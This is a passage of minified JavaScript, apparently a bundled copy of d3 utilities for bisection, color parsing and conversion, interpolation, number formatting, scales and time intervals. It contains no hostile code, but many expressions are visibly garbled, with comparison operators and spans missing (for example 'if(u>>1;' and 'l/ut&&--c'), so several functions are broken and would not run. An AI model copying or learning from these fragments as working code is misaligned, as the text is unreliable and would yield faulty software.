i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function v8(){return 0}function _N(e){return e===null?NaN:+e}function*g8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const y8=qx(fi),tl=y8.right;qx(_N).center;class y1 extends Map{constructor(t,n=j8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(b1(this,t))}has(t){return super.has(b1(this,t))}set(t,n){return super.set(b8(this,t),n)}delete(t){return super.delete(w8(this,t))}}function b1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function b8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function w8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function j8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function k8(e=fi){if(e===fi)return ON;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function ON(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const N8=Math.sqrt(50),S8=Math.sqrt(10),z8=Math.sqrt(2);function hu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=N8?10:a>=S8?5:a>=z8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function j1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function TN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?ON:k8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));TN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(Ms(e,n,t),i(e[r],a)>0&&Ms(e,n,r);o0;)--l}i(e[n],a)===0?Ms(e,n,l):(++l,Ms(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Ms(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function C8(e,t,n){if(e=Float64Array.from(g8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return j1(e);if(t>=1)return w1(e);var r,i=(r-1)*t,a=Math.floor(i),o=w1(TN(e,a).subarray(0,a+1)),l=j1(e.subarray(a+1));return o+(l-o)*(i-a)}}function P8(e,t,n=_N){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function E8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Fl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Fl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=O8.exec(e))?new Vt(t[1],t[2],t[3],1):(t=T8.exec(e))?new Vt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=M8.exec(e))?Fl(t[1],t[2],t[3],t[4]):(t=L8.exec(e))?Fl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=I8.exec(e))?E1(t[1],t[2]/100,t[3]/100,1):(t=D8.exec(e))?E1(t[1],t[2]/100,t[3]/100,t[4]):k1.hasOwnProperty(e)?z1(k1[e]):e==="transparent"?new Vt(NaN,NaN,NaN,0):null}function z1(e){return new Vt(e>>16&255,e>>8&255,e&255,1)}function Fl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Vt(e,t,n,r)}function B8(e){return e instanceof nl||(e=Ro(e)),e?(e=e.rgb(),new Vt(e.r,e.g,e.b,e.opacity)):new Vt}function ih(e,t,n,r){return arguments.length===1?B8(e):new Vt(e,t,n,r??1)}function Vt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Xx(Vt,ih,LN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Vt(Vi(this.r),Vi(this.g),Vi(this.b),vu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:C1,formatHex:C1,formatHex8:F8,formatRgb:P1,toString:P1}));function C1(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}`}function F8(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}${$i((isNaN(this.opacity)?1:this.opacity)*255)}`}function P1(){const e=vu(this.opacity);return`${e===1?"rgb(":"rgba("}${Vi(this.r)}, ${Vi(this.g)}, ${Vi(this.b)}${e===1?")":`, ${e})`}`}function vu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Vi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function $i(e){return e=Vi(e),(e<16?"0":"")+e.toString(16)}function E1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Rn(e,t,n,r)}function IN(e){if(e instanceof Rn)return new Rn(e.h,e.s,e.l,e.opacity);if(e instanceof nl||(e=Ro(e)),!e)return new Rn;if(e instanceof Rn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Rn(o,l,c,e.opacity)}function W8(e,t,n,r){return arguments.length===1?IN(e):new Rn(e,t,n,r??1)}function Rn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Xx(Rn,W8,LN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Rn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Rn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Vt(ip(e>=240?e-240:e+120,i,r),ip(e,i,r),ip(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Rn(A1(this.h),Wl(this.s),Wl(this.l),vu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=vu(this.opacity);return`${e===1?"hsl(":"hsla("}${A1(this.h)}, ${Wl(this.s)*100}%, ${Wl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function A1(e){return e=(e||0)%360,e<0?e+360:e}function Wl(e){return Math.max(0,Math.min(1,e||0))}function ip(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Zx=e=>()=>e;function U8(e,t){return function(n){return e+n*t}}function V8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function H8(e){return(e=+e)==1?DN:function(t,n){return n-t?V8(t,n,e):Zx(isNaN(t)?n:t)}}function DN(e,t){var n=t-e;return n?U8(e,n):Zx(isNaN(e)?t:e)}const _1=function e(t){var n=H8(t);function r(i,a){var o=n((i=ih(i)).r,(a=ih(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=DN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function K8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:gu(r,i)})),n=ap.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function rL(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?iL:rL,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),gu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,yu),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Qx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Mt,d()):o!==Mt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Jx(){return Bd()(Mt,Mt)}function aL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function bu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ja(e){return e=bu(Math.abs(e)),e?e[1]:NaN}function sL(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function oL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var lL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function $o(e){if(!(t=lL.exec(e)))throw new Error("invalid format: "+e);var t;return new e0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}$o.prototype=e0.prototype;function e0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}e0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function cL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var wu;function uL(e,t){var n=bu(e,t);if(!n)return wu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(wu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+bu(e,Math.max(0,t+a-1))[0]}function T1(e,t){var n=bu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const M1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:aL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>T1(e*100,t),r:T1,s:uL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function L1(e){return e}var I1=Array.prototype.map,D1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function dL(e){var t=e.grouping===void 0||e.thousands===void 0?L1:sL(I1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?L1:oL(I1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=$o(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):M1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),_=M1[S],A=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var I=N,U=z,D,M,F;if(S==="c")U=_(P)+U,P="";else{P=+P;var R=P<0||1/P<0;if(P=isNaN(P)?c:_(Math.abs(P),j),k&&(P=cL(P)),R&&+P==0&&g!=="+"&&(R=!1),I=(R?g==="("?g:l:g==="-"||g==="("?"":g)+I,U=(S==="s"&&!isNaN(P)&&wu!==void 0?D1[8+wu/3]:"")+U+(R&&g==="("?")":""),A){for(D=-1,M=P.length;++DF||F>57){U=(F===46?i+P.slice(D+1):P.slice(D))+U,P=P.slice(0,D);break}}}w&&!v&&(P=t(P,1/0));var W=I.length+P.length+U.length,$=W>1)+I+P+U+$.slice(W);break;default:P=$+I+P+U;break}return a(P)}return O.toString=function(){return f+""},O}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Ja(m)/3)))*3,x=Math.pow(10,-h),g=u((f=$o(f),f.type="f",f),{suffix:D1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ul,t0,RN;fL({thousands:",",grouping:[3],currency:["$",""]});function fL(e){return Ul=dL(e),t0=Ul.format,RN=Ul.formatPrefix,Ul}function pL(e){return Math.max(0,-Ja(Math.abs(e)))}function mL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ja(t)/3)))*3-Ja(Math.abs(e)))}function hL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ja(t)-Ja(e))+1}function $N(e,t,n,r){var i=nh(e,t,n),a;switch(r=$o(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=mL(i,o))&&(r.precision=a),RN(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=hL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=pL(i))&&(r.precision=a-(r.type==="%")*2);break}}return t0(r)}function ji(e){var t=e.domain;return e.ticks=function(n){var r=t();return eh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return $N(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=th(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function BN(){var e=Jx();return e.copy=function(){return rl(e,BN())},Pn.apply(e,arguments),ji(e)}function FN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,yu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return FN(e).unknown(t)},e=arguments.length?Array.from(e,yu):[0,1],ji(n)}function WN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function bL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function B1(e){return(t,n)=>-e(-t,n)}function n0(e){const t=e(R1,$1),n=t.domain;let r=10,i,a;function o(){return i=bL(r),a=yL(r),n()[0]<0?(i=B1(i),a=B1(a),e(xL,vL)):e(R1,$1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=$o(c)).precision==null&&(c.trim=!0),c=t0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(WN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function UN(){const e=n0(Bd()).domain([1,10]);return e.copy=()=>rl(e,UN()).base(e.base()),Pn.apply(e,arguments),e}function F1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function W1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function r0(e){var t=1,n=e(F1(t),W1(t));return n.constant=function(r){return arguments.length?e(F1(t=+r),W1(t)):t},ji(n)}function VN(){var e=r0(Bd());return e.copy=function(){return rl(e,VN()).constant(e.constant())},Pn.apply(e,arguments)}function U1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function wL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function jL(e){return e<0?-e*e:e*e}function i0(e){var t=e(Mt,Mt),n=1;function r(){return n===1?e(Mt,Mt):n===.5?e(wL,jL):e(U1(n),U1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},ji(t)}function a0(){var e=i0(Bd());return e.copy=function(){return rl(e,a0()).exponent(e.exponent())},Pn.apply(e,arguments),e}function kL(){return a0.apply(null,arguments).exponent(.5)}function V1(e){return Math.sign(e)*e*e}function NL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function HN(){var e=Jx(),t=[0,1],n=!1,r;function i(a){var o=NL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(V1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,yu)).map(V1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return HN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Pn.apply(i,arguments),ji(i)}function KN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return qN().domain([e,t]).range(i).unknown(a)},Pn.apply(ji(o),arguments)}function YN(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[tl(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return YN().domain(e).range(t).unknown(n)},Pn.apply(i,arguments)}const sp=new Date,op=new Date;function pt(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(upt(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(sp.setTime(+a),op.setTime(+o),e(sp),e(op),Math.floor(n(sp,op))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const ju=pt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ju.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?pt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ju);ju.range;const yr=1e3,jn=yr*60,br=jn*60,Ar=br*24,s0=Ar*7,H1=Ar*30,lp=Ar*365,Bi=pt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*yr)},(e,t)=>(t-e)/yr,e=>e.getUTCSeconds());Bi.range;const o0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getMinutes());o0.range;const l0=pt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getUTCMinutes());l0.range;const c0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr-e.getMinutes()*jn)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getHours());c0.range;const u0=pt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getUTCHours());u0.range;const il=pt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*jn)/Ar,e=>e.getDate()-1);il.range;const Fd=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>e.getUTCDate()-1);Fd.range;const GN=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>Math.floor(e/Ar));GN.range;function ca(e){return pt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*jn)/s0)}const Wd=ca(0),ku=ca(1),SL=ca(2),zL=ca(3),es=ca(4),CL=ca(5),PL=ca(6);Wd.range;ku.range;SL.range;zL.range;es.range;CL.range;PL.range;function ua(e){return pt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/s0)}const Ud=ua(0),Nu=ua(1),EL=ua(2),AL=ua(3),ts=ua(4),_L=ua(5),OL=ua(6);Ud.range;Nu.range;EL.range;AL.range;ts.range;_L.range;OL.range;const d0=pt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());d0.range;const f0=pt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());f0.range;const _r=pt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_r.range;const Or=pt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Or.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Or.range;function XN(e,t,n,r,i,a){const o=[[Bi,1,yr],[Bi,5,5*yr],[Bi,15,15*yr],[Bi,30,30*yr],[a,1,jn],[a,5,5*jn],[a,15,15*jn],[a,30,30*jn],[i,1,br],[i,3,3*br],[i,6,6*br],[i,12,12*br],[r,1,Ar],[r,2,2*Ar],[n,1,s0],[t,1,H1],[t,3,3*H1],[e,1,lp]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(nh(u/lp,d/lp,f));if(h===0)return ju.every(Math.max(nh(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(ve=up(Ls(B.y,0,1)),we=ve.getUTCDay(),ve=we>4||we===0?Nu.ceil(ve):Nu(ve),ve=Fd.offset(ve,(B.V-1)*7),B.y=ve.getUTCFullYear(),B.m=ve.getUTCMonth(),B.d=ve.getUTCDate()+(B.w+6)%7):(ve=cp(Ls(B.y,0,1)),we=ve.getDay(),ve=we>4||we===0?ku.ceil(ve):ku(ve),ve=il.offset(ve,(B.V-1)*7),B.y=ve.getFullYear(),B.m=ve.getMonth(),B.d=ve.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),we="Z"in B?up(Ls(B.y,0,1)).getUTCDay():cp(Ls(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(we+5)%7:B.w+B.U*7-(we+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,up(B)):cp(B)}}function z(C,K,ne,B){for(var ie=0,ve=K.length,we=ne.length,_e,L;ie=we)return-1;if(_e=K.charCodeAt(ie++),_e===37){if(_e=K.charAt(ie++),L=k[_e in K1?K.charAt(ie++):_e],!L||(B=L(C,ne,B))<0)return-1}else if(_e!=ne.charCodeAt(B++))return-1}return B}function _(C,K,ne){var B=u.exec(K.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,K,ne){var B=h.exec(K.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function O(C,K,ne){var B=f.exec(K.slice(ne));return B?(C.w=m.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,K,ne){var B=v.exec(K.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function I(C,K,ne){var B=g.exec(K.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function U(C,K,ne){return z(C,t,K,ne)}function D(C,K,ne){return z(C,n,K,ne)}function M(C,K,ne){return z(C,r,K,ne)}function F(C){return o[C.getDay()]}function R(C){return a[C.getDay()]}function W(C){return c[C.getMonth()]}function $(C){return l[C.getMonth()]}function H(C){return i[+(C.getHours()>=12)]}function X(C){return 1+~~(C.getMonth()/3)}function se(C){return o[C.getUTCDay()]}function ue(C){return a[C.getUTCDay()]}function ge(C){return c[C.getUTCMonth()]}function xe(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function ee(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var K=S(C+="",w);return K.toString=function(){return C},K},parse:function(C){var K=N(C+="",!1);return K.toString=function(){return C},K},utcFormat:function(C){var K=S(C+="",j);return K.toString=function(){return 